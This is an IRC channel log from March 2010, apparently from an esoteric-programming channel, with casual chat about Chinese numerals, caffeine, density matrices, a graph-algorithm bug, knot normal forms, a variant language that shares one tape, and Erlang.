22:25:44 <AnMaster> heh
22:26:00 <AnMaster> I suggest ais disable that editing thingy for menus
22:59:01 <pikhq> Definitely over 九千.
22:59:20 <lament> that looks like a number
22:59:30 <lament> 70 000?
22:59:34 <lament> no 90 000
22:59:39 <lament> right?
22:59:42 <pikhq> No, 9,000.
22:59:51 <pikhq> 90000 is 九万.
23:01:18 <lament> oh
23:01:52 <pikhq> And 70,000 is 七万.
23:02:01 <pikhq> Chinese numerals are easy. :)
23:02:39 <Slereah> No they ain't
23:02:48 <pikhq> Yes they are.
23:02:55 <Slereah> Unary is easy
23:03:29 <pikhq> Nullary is easy.
23:03:39 <Slereah> Also
23:08:27 <uorygl> Nullary doesn't allow you to use any symbols!
23:08:35 -!- coppro has joined.
23:08:43 <uorygl> And every symbol you use has a negative-infinite amount of information!
23:09:05 <pikhq> Yes.
23:09:06 <pikhq> >:D
23:09:07 <uorygl> Hmm, maybe you just need to send a negative-zero number of symbols and boom, your information. :P
23:09:21 <uorygl> You don't even need to come up with a code!
23:09:44 <uorygl> Because every symbol already has a meaning even though you've never assigned any meanings to any of them!
23:16:07 -!- Azstal has joined.
23:16:44 * Sgeo got a warning from Facebook
23:17:37 -!- Asztal has quit (Ping timeout: 265 seconds).
23:17:46 -!- Azstal has changed nick to Asztal.
23:21:12 -!- charlls has joined.
23:26:19 -!- kar8nga has quit (Remote host closed the connection).
23:29:48 -!- tombom_ has joined.
23:31:37 -!- Ilari_ has joined.
23:31:57 -!- Ilari has quit (Quit: Reconnecting).
23:32:08 -!- Ilari_ has changed nick to Ilari.
23:33:17 -!- oklopol has quit (*.net *.split).
23:33:18 -!- lament has quit (*.net *.split).
23:33:18 -!- sshc has quit (*.net *.split).
23:33:18 -!- sebbu has quit (*.net *.split).
23:34:13 -!- sshc has joined.
23:34:15 -!- tombom has quit (Ping timeout: 260 seconds).
23:34:19 -!- tombom_ has quit (Client Quit).
23:36:52 -!- oklopol has joined.
23:36:52 -!- lament has joined.
23:36:52 -!- sebbu has joined.
23:37:41 -!- Oranjer has joined.
23:39:50 -!- charlesq__ has joined.
23:40:08 -!- charlls has quit (Read error: Connection reset by peer).
23:46:58 -!- oklopol has quit (*.net *.split).
23:46:58 -!- lament has quit (*.net *.split).
23:46:58 -!- sebbu has quit (*.net *.split).
23:50:46 -!- oklopol has joined.
23:50:46 -!- lament has joined.
23:50:46 -!- sebbu has joined.
23:52:34 -!- BeholdMyGlory_ has joined.
23:53:11 -!- BeholdMyGlory_ has quit (Changing host).
23:53:11 -!- BeholdMyGlory_ has joined.
23:53:17 -!- BeholdMyGlory has quit (Disconnected by services).
23:53:20 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory.
23:57:13 -!- BeholdMyGlory has quit (*.net *.split).
23:57:13 -!- oklopol has quit (*.net *.split).
23:57:14 -!- lament has quit (*.net *.split).
23:57:14 -!- sebbu has quit (*.net *.split).
23:57:17 -!- charlesq__ has quit (Quit: Saliendo).
2010-03-19
00:00:00 -!- oklopol has joined.
00:00:00 -!- lament has joined.
00:00:00 -!- sebbu has joined.
00:07:06 -!- oerjan has joined.
00:07:26 -!- Leonidas has quit (Ping timeout: 264 seconds).
00:07:28 -!- Leonidas has joined.
00:07:51 -!- fax has quit (Quit: Lost terminal).
00:09:02 -!- FireFly has quit (Quit: Leaving).
00:13:04 -!- comex_ has joined.
00:14:13 -!- jix_ has joined.
00:14:43 -!- EgoBot has quit (Ping timeout: 240 seconds).
00:14:44 -!- comex has quit (Ping timeout: 240 seconds).
00:14:44 -!- jix has quit (Ping timeout: 240 seconds).
00:15:10 -!- EgoBot has joined.
00:15:56 -!- oerjan has set topic: "Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter: A(g_64,g_64) | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
00:24:21 -!- Gregor has quit (Ping timeout: 245 seconds).
00:24:54 -!- Gregor has joined.
00:25:05 -!- werdan7_ has joined.
00:25:57 -!- Leonidas_ has joined.
00:27:02 -!- uorygl_ has joined.
00:27:27 -!- werdan7 has quit (Remote host closed the connection).
00:27:28 -!- Leonidas has quit (Ping timeout: 264 seconds).
00:27:28 -!- uorygl has quit (Ping timeout: 264 seconds).
00:47:33 -!- werdan7_ has changed nick to werdan7.
01:32:25 <Sgeo> "As the only entrant in the category, Cougar Energy Shot for Women White is both the best and the worst energy drink for women of 2009. I tend to lean more toward it being the worst."
01:33:09 <oerjan> the glass is half empty, and that is a _good_ thing in this case.
01:42:55 <Sgeo> I talk about energy drinks, and my dad suggests trying caffeine pills
01:43:45 <oerjan> it's just a phase
01:43:58 <Sgeo> ?
01:44:10 <oerjan> solid, that is
01:44:32 <Sgeo> Ah, lol
01:44:42 <Sgeo> Pathetic that I needed the joke explained to me :(
01:45:02 <oerjan> mwahaha
01:48:46 <uorygl_> Nah, it's actually not a very clear joke. >.>
01:49:00 <oerjan> uorygl_: shh
01:50:04 * oerjan considered the "explanation" the punchline, actually
01:51:33 <pikhq> Sgeo: ?
01:51:59 -!- cheater2 has quit (Ping timeout: 240 seconds).
01:56:53 <Sgeo> "As the only entrant in the category, Cougar Energy Shot for Women White is both the best and the worst energy drink for women of 2009. I tend to lean more toward it being the worst."
01:56:57 <Sgeo> erm, wrong paste
01:57:05 <Sgeo> "What caffeine does is make a person lose water, which in effect makes a person drink plenty of water to reciprocate, thus minimizing the feeling of hunger"
01:57:17 <Sgeo> I don't think I can afford to have my hunger lessened :(
01:58:55 <pikhq> *facepalm*
01:59:37 * coppro dislikes energy drinks, including caffeine, generally
02:04:06 <oklopol> oh because you are thin?
02:04:58 <oklopol> this is so cool, i've been playing my guitar since you said the caffeine and the hunger thing, and i was reading those sentences all that time, then the same second i stop playing i suddenly understand what the sentences mean
02:05:51 <Sgeo> pikhq, hm?
02:19:52 <pikhq> Sgeo: Caffeine does not work that way.
02:22:13 <Sgeo> Blame http://www.howtodothings.com/health-fitness/how-to-use-caffeine-pills-safely
02:23:17 <pikhq> I shall.
02:24:50 <Sgeo> So how does it work?
02:25:11 <Sgeo> And why should I trust an Internet stranger [who admittedly I'm friends with] over an Internet stranger, one way or the other?
02:26:19 -!- Asztal has quit (Ping timeout: 246 seconds).
02:26:25 <pikhq> Caffeine is a mild diuretic, causing people to be likely to urinate more. Most caffeine delivery forms contain sufficient water to compensate for this.
02:26:58 <pikhq> Also, water does not minimise the feeling of hunger much; goes through the digestive tract too quickly.
02:28:08 <Sgeo> Ah
02:28:22 <oerjan> I always add a couple drops of cyanide to my coffee to negate the urinating effect; works splendidly.
02:28:30 <Sgeo> Caffeine pills wouldn't contain sufficient water..
02:28:48 <Sgeo> Doubt that that's enough of a reason to go with energy drinks though
02:28:55 <pikhq> I suppose caffeine could *possibly* stimulate you enough to cause a mild weight loss affect. Still, it ain't going to do much.
02:29:22 <pikhq> Caffeine pills don't have sufficient flavor, IMO.
02:29:56 <Sgeo> I could always drink a sod.. wait, no. If I take one form of caffeine in a day, I will _not_ take another
02:30:18 * pikhq takes a rather absurd amount of caffeine.
02:30:52 <Sgeo> Until recently, all my caffeine came from soda
02:49:15 -!- comex_ has changed nick to comex.
03:51:37 -!- lament has quit (Ping timeout: 276 seconds).
03:58:27 -!- coppro has quit (Ping timeout: 276 seconds).
03:59:11 -!- coppro has joined.
04:36:41 -!- jcp has joined.
04:44:52 -!- oerjan has quit (Quit: leaving).
05:15:31 -!- Sgeo has quit (Ping timeout: 265 seconds).
05:22:26 -!- Oranjer has left (?).
05:34:53 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
05:48:25 -!- oerjan has joined.
06:13:52 -!- zzo38 has joined.
06:16:27 <zzo38> enq
06:16:29 <zzo38> !!!
06:16:32 <zzo38> ???
06:16:45 -!- zzo38 has quit (Remote host closed the connection).
06:16:48 <oerjan> ...
06:18:01 <pikhq> なるほど。
06:19:44 -!- zzo38 has joined.
06:19:46 <zzo38> Are we on today?
06:20:01 <oerjan> no
06:20:13 <pikhq> ぜんぜんない。
06:20:19 <oerjan> today we are under
06:20:31 <zzo38> I noticed I have to use the view-source function in my browser to view thw log because otherwise it treated it as a application/octet-stream and trying to override it didn't work either
06:20:47 <oerjan> huh
06:20:54 <zzo38> Are all pure-state density matrix also valid as projector matrix?
06:21:14 <zzo38> Also, are all pure-state density matrix singular?
06:21:31 <oerjan> um
06:22:02 <zzo38> Is the identity matrix the only unitary projector matrix?
06:22:10 <oerjan> density matrix is v*v, right?
06:22:30 <zzo38> A pure-state density matrix for state |x> is |x><x|
06:22:38 <oerjan> right. yes that's a projection.
06:22:50 <oerjan> i don't recall what singular is.
06:23:05 <zzo38> I read the definitions of those things in Penrose's book. So I thought about it and think these might be true
06:23:15 <zzo38> Singular is a matrix with determinant is zero
06:23:31 <oerjan> a unitary projection matrix has all eigenvalues 1, so yes it must be identity.
06:23:57 <oerjan> in dimension > 1, then yes.
06:24:42 <oerjan> in a basis where the pure state is the first member, the matrix takes the form upper left = 1, rest 0
06:24:55 <oerjan> and everything else can be changed to that with a basis change.
06:25:08 <oerjan> (which preserves determinants)
06:25:47 <zzo38> My logic was a bit different: I had read previously on this channel what unitary is. A unitary matrix has its conjugate transpose also as its inverse, therefore multiplied by its conjugate transpose must make the identity matrix. A projector matrix squares to itself and is also its own conjugate transpose. Therefore, it would have to be the identity matrix to be both projector and unitary.
06:26:15 -!- Sgeo has joined.
06:27:18 <zzo38> Is my logic correct?
06:27:25 <oerjan> p = pp = p^*p = 1. yes.
06:27:50 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
06:28:40 -!- jcp1 has joined.
06:29:21 <zzo38> I have tried various pure-state density matrices to see if they were projectors and in fact they were, so then I tried to see if that was the general case.
06:31:14 <oerjan> (|x><x|)^* = (<x|^*)(|x>^*) = |x><x|
06:31:33 <oerjan> because |x> = <x|^*
06:31:41 <zzo38> I also played D&D today. Sometimes other people in the game think my character is really a big cockroach
06:31:53 <zzo38> oerjan: Yes I can see that
06:32:26 <zzo38> That's what the notations <x| and |x> means
06:32:49 <oerjan> (|x><x|)(|x><x|) = |x>(<x||x>)<x| = |x>1<x| = |x><x|
06:33:08 <zzo38> And yes now I can see how it makes it projector.
06:33:12 <oerjan> because <x||x> is 1*1 matrix
06:33:36 <zzo38> Yes, and if normalized <x|x>=1 now it makes sense!
06:35:22 <oerjan> :)
06:35:23 <zzo38> I am glad you understand this stuff, because the people I know personally, don't know this stuff, so I have to explain it to them.
06:35:51 <zzo38> So they can't answer my question, but you can.
06:36:42 <zzo38> Someone gave me Penrose's book as a present (I think a birthday present), actually.
06:38:22 <zzo38> Something I did in the D&D game today reminds me of the "Projector For Dematerializing Any Matter For One Minute".
06:39:44 <oerjan> huh - is that also something from penrose's book?
06:39:49 <zzo38> No.
06:39:53 -!- coppro has joined.
06:39:54 <zzo38> It is something unrelated
06:40:02 <zzo38> http://superdickery.com/index.php?option=com_content&view=article&catid=33%3Aweird-science-index&id=485%3Aprojector-for-dematerializing-any-matter-for-one-minute&Itemid=24
06:41:00 <oerjan> ah superman comic
06:41:29 <oerjan> Most. Cumbersome. Product. Name. Ever. indeed :D
06:42:06 <zzo38> Another question: Do you ever tell anyone to "O, go drink hydroxic acid"
06:42:49 <oerjan> unless hydroxic acid is another name for dihydrogen monoxide, i doubt it
06:43:11 <zzo38> Hydroxic acid is another name for dihydrogen monoxide.
06:43:17 <oerjan> ah.
06:43:26 <zzo38> But do you ever say "O, go drink dihydrogen monoxide" to anyone?
06:43:44 -!- coppro has quit (Client Quit).
06:43:47 <oerjan> well i don't usually say that under any name, really
06:44:15 <oerjan> now hydroxic acid seems a misnomer given that it is not actually acidic...
06:44:31 -!- coppro has joined.
06:45:34 -!- jcp1 has quit (Quit: I will do anything (almost) for a new router.).
06:45:55 <pikhq> oerjan: It is both an acid and a base.
06:46:15 <oerjan> "Both acid and alkali names exist ... because it is amphoteric (able to react both as an acid or an alkali)."
06:46:19 <pikhq> Though the term is actually "hydric acid".
06:46:19 <oerjan> so yeah
06:46:31 <pikhq> (IIRC)
06:46:57 <oerjan> "Other systematic names ... include hydroxic acid, hydroxylic acid, and hydrogen hydroxide."
06:47:08 <pikhq> Mmkay. There we go.
06:49:09 <zzo38> The spell which reminded me of that Superman comic was Time Hop. And I had manifester level 10 so the duration was 10 rounds (= 1 minute).
06:50:00 <oerjan> http://en.wikipedia.org/wiki/Hydroxic_acid#Systematic_naming
06:51:06 <pikhq> zzo38: 'Tis a fun spell.
06:51:12 <pikhq> Well. Power.
06:51:39 <zzo38> Yes, psionic power. Right
06:52:42 <AnMaster> <zzo38> But do you ever say "O, go drink dihydrogen monoxide" to anyone? <-- no, but I never say "O, "
06:52:51 <AnMaster> other than that, I could do so
06:53:37 <oerjan> O go thou and imbibe of the dihydrogen monoxide
06:58:53 <AnMaster> oerjan, "imbibe"?
06:59:03 * AnMaster doesn't have time to check a dictionary atm
06:59:05 <oerjan> `define imbibe
06:59:08 <HackEgo> * absorb: take in, also metaphorically; "The sponge absorbs water well"; "She drew strength from the minister's words" \ * assimilate: take (gas, light or heat) into a solution \ * drink: take in liquids; "The patient must drink several liters each day"; "The children like to drink soda"
06:59:28 <AnMaster> I first read sponge as "spoon"
06:59:42 <oerjan> there is no spoon
07:00:01 -!- augur has joined.
07:01:08 <AnMaster> bbl
07:04:07 <zzo38> I used: the "Time Hop" power twice, the natural capability to create spider webs twice, "Amanuensis" spell once, "Object Reading" once, and "Dimension Door" power once. My brother's character is a human ninja so they used ethereal and see invisible, a lot this time. It is a useful way for him to trick the bartender.
07:10:12 <zzo38> Have you plaed "Xnazzyball"?
07:10:23 -!- zzo38 has quit (Quit: This is not a "spoon").
07:14:25 -!- fizzie has joined.
07:28:29 <oerjan> augur: ping
07:28:36 <augur> pong
07:29:05 <oerjan> i think i have a graph for which your algorithm doesn't work
07:29:44 <oerjan> *--*
07:29:53 <oerjan> |\ |
07:29:55 <oerjan> | \|
07:29:58 <oerjan> *--*
07:30:02 <augur> lol
07:30:06 <augur> for which node? :P
07:30:10 <oerjan> upper left
07:30:14 <augur> it works fine ;)
07:30:22 <augur> ive tested it well enough on that graph
07:30:34 <oerjan> well then the pdf you posted was not the right algorithm
07:30:43 <augur> yes, it was. you're doing it wrong. :)
07:31:43 <oerjan> my intuitive reading of your pseudocode is that you remove the vertex with the smallest number of (non-u) neighbors.
07:31:59 <oerjan> leaving only the upper left and lower right for the next step
07:32:25 <oerjan> so if that's not what it does, the pseudocode needs some clarifying.
07:32:57 <oerjan> (well the upper left is of course just implied)
07:33:10 <augur> read it again
07:33:22 <augur> what happens is you find the smallest set of neighbors neighbors
07:34:02 <oerjan> um need some notation
07:34:10 <oerjan> u--a
07:34:14 <oerjan> |\ |
07:34:18 <oerjan> | \|
07:34:21 <oerjan> b--c
07:34:24 <augur> so you go from u to a,b,c
07:34:49 <augur> then from a to u,c; from b to u,c; and from c to u,a,b
07:35:06 <oerjan> the first pairs = {(a,{c}),(b,{c}),(c,{a,b})}
07:35:15 <augur> er
07:37:03 <oerjan> dropped = {(a,{c}),(b,{c})}, after = {(c,{a,b})}
07:37:18 <oerjan> before the if
07:37:29 <augur> eh
07:37:40 <augur> so first pairs is that yes
07:37:47 <augur> min is 1
07:38:04 <augur> yes ok
07:38:40 <oerjan> then the for loop changes after to {(c,{})}
07:39:24 <augur> eh.. oh, you're right. let me see if my actual code is like that
07:41:55 <augur> aha you're right. my algorithm doesn't work!
07:42:09 <augur> i couldve sworn i've run it on graphs like this before tho.
07:42:09 <augur> wtf
07:42:10 <augur> :|
07:44:03 <oerjan> note that if you start with a or b instead it probably works
07:45:08 -!- FireFly has joined.
07:46:48 <augur> meh. whatever. im not interested in the algorithm in any real sense except to make this pos induction thing work :P
07:47:43 <oerjan> very well
07:49:19 <augur> but i want the POS induction to work fast, so.. :p
07:49:22 <augur> ok im off to bed
07:49:24 <augur> night dude
07:49:28 <oerjan> night
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:04:22 -!- tombom has joined.
08:18:44 -!- BeholdMyGlory has joined.
08:34:19 -!- oerjan has quit (Quit: Good night).
08:51:13 -!- tombom has quit (Quit: Leaving).
09:10:36 -!- cheater2 has joined.
10:06:45 -!- lereah_ has joined.
11:13:04 -!- BeholdMyGlory has quit (Remote host closed the connection).
12:30:01 -!- EgoBot has quit (*.net *.split).
12:30:01 -!- MaXo2 has quit (*.net *.split).
12:30:01 -!- olsner has quit (*.net *.split).
12:34:38 -!- MaXo2 has joined.
12:35:17 -!- olsner has joined.
13:32:51 <oklopol> if oerjan keeps owning augur like that, sooner or later he'll start believing when he says he's wrong, which is a scary thought. for verying meanings of he.
13:33:03 <oklopol> *believing him
13:34:37 <oklopol> of course i've just seen random snippets of their interaction, so maybe it's not as one-directional as i think
13:35:51 <fizzie> Bidirectional ownership starts to sound like some sort of relationship thing there.
13:36:45 <oklopol> well i believe augur prefers just being owned, so i'm not sure it even needs to be bidirectional
13:54:40 -!- atrapado has joined.
14:19:30 -!- fax has joined.
14:57:50 -!- ais523 has joined.
15:08:55 -!- MigoMipo has joined.
15:18:59 <ais523> wow, the Poincaré conjecture has been proved
15:19:09 <ais523> it's one of the ones that had a million-dollar prize attached
15:19:45 <fax> ais523, I am watching a talk on this now
15:19:55 -!- FireFly has quit (Quit: Leaving).
15:20:53 -!- FireFly has joined.
15:25:34 <fax> hE SAID SOMETHING ABOUT KNOT THOERY WHICH I DONT GET
15:28:36 <oklopol> i know everything about knot theory
15:28:39 <oklopol> you can just ask me
15:29:14 <oklopol> knots can be uniquely factorized into primitive knots and primitive knots commute
15:29:45 <oklopol> braids have been pretty much completely characterized, but we know very little about knots in general
15:29:46 <fax> oklopol, so unknotting algorithm can be implemented?
15:29:54 <fax> oh..
15:30:03 <fax> maybe this is like what I used to think 'polynomials' were univariate
15:30:06 <oklopol> that's a very grey area knowingnesswise
15:30:14 <fax> perhaps when he said this about knots he was really talking about braids
15:30:37 <oklopol> braids are sort of permutations but with strings
15:31:34 <oklopol> you can represent them prettily as a braid algebra sort of thing
15:31:51 <fax> knots.. links.. braids I have no idea what one I mean
15:31:57 <oklopol> where you construct them with different sorts of primitive braidings which are taking a string over another and so on
15:32:08 <oklopol> aaaaand i guess that's all i know
15:32:16 <oklopol> oh
15:32:23 <oklopol> well do you know what they are? i have no idea what links are
15:32:29 <oklopol> unless they are trivial knot
15:32:29 <oklopol> s
15:32:47 <fax> say a closed simple path in 3D
15:32:50 <oklopol> he was probably talking about knots, i haven't heard about braids nearly as much as knots
15:32:57 <oklopol> yeah that works
15:33:11 <fax> can you detect if they are the unknot (just a circle) with an algorithm?
15:33:24 <oklopol> or well
15:33:25 <fax> I heard the algorithm to do that was one of the hardest possible algorithms to write
15:33:37 <oklopol> that's like saying the reals are lists of rationals, it's the equivalence classes that are knots
15:33:48 <fax> but then this guy in the talk says someone coded a thing which turns a knot into a normal form on APPLE ][!!!
15:33:54 <oklopol> but i guess you know that
15:34:14 <oklopol> fax: you can, i think that's pretty obvious, but you can't do it efficiently as far as we know
15:34:24 <fax> no it's not obvious
15:34:31 <oklopol> well with the simple path representation of course it's not obvious
15:34:42 <oklopol> but there are other ways that make it obvious
15:34:46 <fax> reidmeister moves don't normalize for example
15:34:54 <oklopol> yeah but you can just try them all out
15:35:04 <oklopol> finite amount of things to do
15:35:32 <fax> but the idea was like,
15:35:35 <oklopol> if they normalized, we might have something remotely efficient for it, and might call the problem solved; all that's obvious is that we have this exponential (or more) time algo to do it
15:35:37 <fax> you can tile space with cubes or whateer
15:35:50 <fax> and this guy says there's an apple ][ program which computes a tile from a knot.. and the tile is a normal form
15:36:33 <oklopol> to me, a fast algorithm to untangle knots would be much more interesting news than pointcare's conjecture
15:36:45 <fax> :/
15:36:47 <oklopol> i mean i don't really give a fuck about that thing
15:36:51 <fax> were not even talking about poincare...
15:37:14 <oklopol> i thought someone said something about knots in the pointcare talk
15:37:18 <fax> yes
15:37:55 <fax> "you start with this knot with 10 crossings... maybe I have to take it through a knot with 100 crossings to show it equal to this other knot"
15:38:00 <oklopol> so what i said was totally relevant, "what, there's an algo for knots? then why are you still watching the pointcare talk??"
15:38:32 <oklopol> i mean that's not what i meant, but i'm sure there was a discussion theoretic reason to say it.
15:38:52 <fax> okay
15:39:08 <fax> but I want to find normal forms for knots
15:39:12 <oklopol> who doesn't
15:39:23 <fax> do you not know of such?
15:39:48 <oklopol> if there were any, in any useful sense, then there would be an efficient algorithm to check if knots are equal. there isn't
15:40:14 <oklopol> or well in the rewrite system sense
15:44:26 <oklopol> a normal form is a function from representations of some things into some set, which gives the same return value for things in the same equivalence class, and is an injection in the sense that it gives a different value for two things if they're not in the same equivalence class. we don't have this, but we have it sans the equivalence class respecting injectivity part, we have these functions that give the same value for two represen
15:44:32 <oklopol> did that all come through?
15:44:43 <fax> I know what a normal form is
15:44:50 <oklopol> all this would be so much clearer if i knew good definitions for these representation spaces
15:45:16 <oklopol> yeah, but i'm not sure you understand the connection between normal forms and knot invariants
15:45:22 <oklopol> because i just came up with it
15:45:33 <fax> the vauge idea he sketched out was that for any knot in 3D you can think about the spaec around it
15:45:44 <oklopol> okay
15:45:46 <fax> then you can make some kind of tile which represents the topology of that space
15:45:50 <fax> and these tiles are a normal form
15:46:39 <oklopol> so... they all have the same normal form?
15:46:44 <fax> o_O
15:46:58 <oklopol> i mean aren't all those topologies just a link
15:47:35 <fax> "In 1985 thurstens graduate student, jeff weeks wrote a program for the little gray machintosh that finds these blueprints.. you draw a knot and a few seconds later, it determines a canonical blueprint for the knot"
15:48:04 <fax> "this program easily replaced perko tate and little, it immediately identifies the perko pair as being the same, and classifies all knots up to 10 crossings"
15:48:24 -!- BeholdMyGlory has joined.
15:48:46 <oklopol> oh, cool
15:49:39 <fax> ah, this seems to be an intro to the topic -- http://pzacad.pitzer.edu/~jhoste/HosteWebPages/downloads/HTW.pdf
15:49:43 <fax> I'll just read this
15:51:11 <fax> wow it seems to cover knots which are a finite set of closed paths rather than just one path
15:51:54 * fax afk
15:53:13 -!- charlls has joined.
16:05:03 -!- charlls has quit (Ping timeout: 258 seconds).
16:17:18 <fax> oklopol, ah... the method they use only works for alternating knots
16:17:27 <fax> losing intrest...
16:21:25 <oklopol> ic
16:22:10 <fax> I was going to implement it, if it was a normal form for all knots :(
16:22:20 <fax> http://www.geometrygames.org/SnapPea/
16:23:50 -!- Asztal has joined.
16:26:19 -!- lereah_ has quit (Quit: Leaving).
17:11:52 -!- kar8nga has joined.
17:31:16 -!- oerjan has joined.
17:32:29 -!- pineapple has joined.
17:57:28 -!- kar8nga has quit (Remote host closed the connection).
18:04:09 -!- tombom has joined.
18:14:04 -!- sshc has quit (Quit: leaving).
18:19:18 <ais523> hmm, http://en.wikipedia.org/wiki/The_Book_of_Mozilla is really ridiculously detailed
18:19:24 <ais523> it's almost as if people are starting a religion about it :)
18:23:04 -!- kar8nga has joined.
18:24:59 <pineapple> ais523: people these days will start a religion following jut about anything
18:25:14 <ais523> yes
18:25:17 <pineapple> see also: the number of people who stated their religion as "Jedi" in the 2001 census
18:25:26 <ais523> yep, I'm aware of that
18:25:47 <ais523> it lead to hilarious side-effects when someone who was asked to remove their hood in a Jobcentre managed to keep it on by claiming that they were a devout Jedi
18:25:58 <pineapple> heh
18:26:41 <pineapple> going back on topic for a moment (and since there's someone else around now)...
18:27:34 <pineapple> i noticed in the DoubleFuck article that the 2 pointers operate on seperate arrays... and was wondering if it would be more interesting if they operated on the same array
18:28:17 <ais523> quite possibly, although it's unlikely to make much difference
18:28:28 <pineapple> hmm?
18:28:43 <ais523> hmm, well, it would
18:28:58 <ais523> you could make it work like the original lang simply by putting them in far-off sections of the tape
18:29:16 <ais523> or by having one starting at an odd location, the other at an even location, then moving with << >> rather than < >
18:30:03 <pineapple> but that's boring, compared to haveing them start in the same place, and letting thje programmer do something interesting with having them both in the same space, with the chance to affect the same data
18:30:31 <ais523> yep
18:30:41 <ais523> so sharing a tape is probably a more general language
18:34:18 <oerjan> s/probably/definitely/, you just gave the proof three lines above...
18:36:47 <ais523> err, yes
18:36:57 <ais523> I'm stuck in talking in weasel words for some reason atm
18:37:04 <oerjan> heh
18:37:14 <pikhq> Too much Japanese.
18:37:57 <pikhq> (seriously, you use weasel words to be more polite in Japanese)
18:43:42 -!- charlls has joined.
18:44:42 -!- oerjan has quit (Quit: I hope you honorable people will excuse me for leaving now.).
18:44:49 <augur> oklopol: you can own me all you want ;o
18:48:18 * Sgeo should probably do his C++ homework at some point
18:48:25 <Sgeo> In class, I put it off in favor of $BIG_PROJECT
18:49:55 <oklopol> that's so cool
19:15:03 -!- sshc has joined.
19:17:06 -!- sshc has quit (Client Quit).
19:17:23 -!- sshc has joined.
19:27:48 <Sgeo> Is there a reason to attempt to learn Erlang when I already know Haskell?
19:28:09 <Sgeo> Erlang seems like a dynamically typed, non-lazy Haskell with strange syntax, from what I've seen
19:29:06 <ais523> Sgeo: it's good for different things
19:29:18 <fax> learn erlang while you write the program
19:29:27 <fax> if you don't need to write a program in erlang why bother
19:31:00 <fizzie> The syntax is confusingly Prology; for some reason I find it funny, even though there's really nothing especially funny there.
19:32:05 <ais523> erlang was originally implemented in prolog, IIRC
19:32:13 <ais523> but reimplemented in something more efficient after a while
19:32:23 <fax> reimplemeted in prolog
19:32:33 <fax> bytecode compiler rather than direct interpretre
19:32:33 <fizzie> My one-liner description would've been "non-declarative Prolog with concurrency and communications bits", but I guess that always depends on from where you look at.
19:32:43 <fax> then I dunno what happened next
19:44:11 * Sgeo is considering learning about F#
19:46:18 <oklopol> learn about the theory of codes
19:46:53 <oklopol> it's real sexy
19:58:48 -!- deschutron has joined.
19:59:12 <fizzie> What is ridiculous is that there was this ad in the "jobs" noticeboard at the university; it consisted of only a single huge QR code, which, when decoded, yielded a longish quotation from the Book of Mozilla (11:9, I think) and a tinyurlish link to the actual job ad, which was some sort of web-mobile-developery thing.
19:59:45 <pineapple> QR?
19:59:54 <pineapple> that those 2d barcode things?
20:01:29 <fizzie> Yes.
20:01:34 <fizzie> It's the one with the squares in it.
20:01:47 <fizzie> http://upload.wikimedia.org/wikipedia/en/4/42/Wikipedia_mobile_en.png
20:36:16 -!- deschutron has left (?).
20:36:30 -!- deschutron has joined.
20:48:42 -!- augur has quit (Ping timeout: 248 seconds).
21:03:04 -!- alise has joined.
21:03:20 <alise> This is... Dispatch ... Four?
21:03:33 <alise> Three was the whole crisis thing I think so it wasn't really a dispatch.
21:04:51 <fax> hi alise
21:05:01 <alise> Hi, there.
21:05:51 <alise> 20:57:21 <mibygl> I wonder how groups work.
21:05:52 <alise> 20:59:23 <Gregor> Poorly.
21:05:52 <alise> Also true out of context.
21:06:17 <alise> 21:07:24 <Gregor> For instance, I'm fairly certain that SELinux implements ACLs (along with a trillion other things), but I have not one clue how they work.]
21:06:17 <alise> It does
21:06:19 <alise> It's awful
21:06:20 <fax> hey alise I used finite calculus to prove something
21:06:25 <pikhq> alise: So, uh. Hi?
21:06:30 <Sgeo> alise! We haven't seen you for xkcd days!
21:06:35 <alise> fax: Cool; show me. I need to forget about the week.
21:06:39 <alise> Sgeo: Well, like I said, the unit.
21:06:52 <alise> It's Friday, Saturday, Sunday from now on. Until countries become move.
21:06:53 <alise> *moved
21:07:00 <fax> alise "(1 + 2 + 3 + ... + n) ^ 2 = 1^3 + 2^3 + 3^3 + ... + n^3"
21:07:02 <fax> oops
21:07:03 <alise> (So that they are under my feet. That's why it's called "moving country".)
21:07:07 <fax> "Why does the square of a sum of numbers equal the sum of each individual number cubed?"
21:07:09 <alise> fax: that ... CANNOT BE EXPANDED
21:07:16 <alise> It doesn't EXIST
21:07:19 <pikhq> alise: Time remaining?
21:07:20 <alise> It's INFINITE
21:07:21 <fax> lol
21:07:23 <fax> you're infinet
21:07:25 <alise> pikhq: Who the fuck knows
21:07:31 <pikhq> Mmkay.
21:07:39 <fax> alise, - http://www.reddit.com/r/math/comments/bep0g/why_does_the_square_of_a_sum_of_numbers_equal_the/c0meexi
21:08:01 <alise> /r/math is a cesspool
21:08:03 <pikhq> I'm busy trying to convince myself to do more kanji studying. And failing horribly ATM...
21:08:07 <alise> (of idiocy)
21:08:14 <fax> alise, also I used it to prove bijections between N^k and N
21:08:25 -!- Asztal has quit (Ping timeout: 246 seconds).
21:08:57 -!- Asztal has joined.
21:09:47 <fax> do you know a better math forum? : |
21:09:52 <alise> no :)
21:09:53 <pikhq> #math?
21:10:05 <alise> pikhq: considering all the trolls we get here are from related channels to #math i doubt it
21:10:12 <alise> also i think there is a lot of idiotic drama there
21:10:21 <alise> fax: actually i do
21:10:22 <alise> #esoteric
21:10:48 <pikhq> #esoteric is indeed a better channel.
21:11:04 <fax> pikhq, that cannot have been a serious suggestion
21:11:16 <ais523> ooh, hi alise
21:12:02 * Sgeo wonders what the Math channel on FICS is like
21:12:05 <alise> ais523: Descarfed?
21:12:10 <ais523> yes
21:12:13 -!- Deewiant has quit (*.net *.split).
21:12:13 -!- ineiros has quit (*.net *.split).
21:12:13 -!- AnMaster has quit (*.net *.split).
21:12:14 -!- HackEgo has quit (*.net *.split).
21:12:15 <ais523> too many people complained
21:12:20 <Sgeo> Although I was on FICS recently, and iirc, it was somewhat inactive.
21:12:31 <Sgeo> Maybe if I said something, someone would respond, though
21:12:32 <alise> ais523: What; why?
21:12:38 <ais523> alise: I'm not sure
21:12:39 <alise> Nobody has complained about my nick.
21:12:45 <ais523> but if people want me to use this nick, I may as well use it
21:12:48 <alise> Maybe that means nobody cares about me. :)
21:12:51 <fax> FICS?
21:12:57 <fax> and what is it like?
21:12:58 <ais523> or we want to help you stay undercover
21:13:10 <alise> That wasn't why I changed nick but sure.
21:13:10 <Sgeo> FICS = Free Internet Chess Server. freechess.org
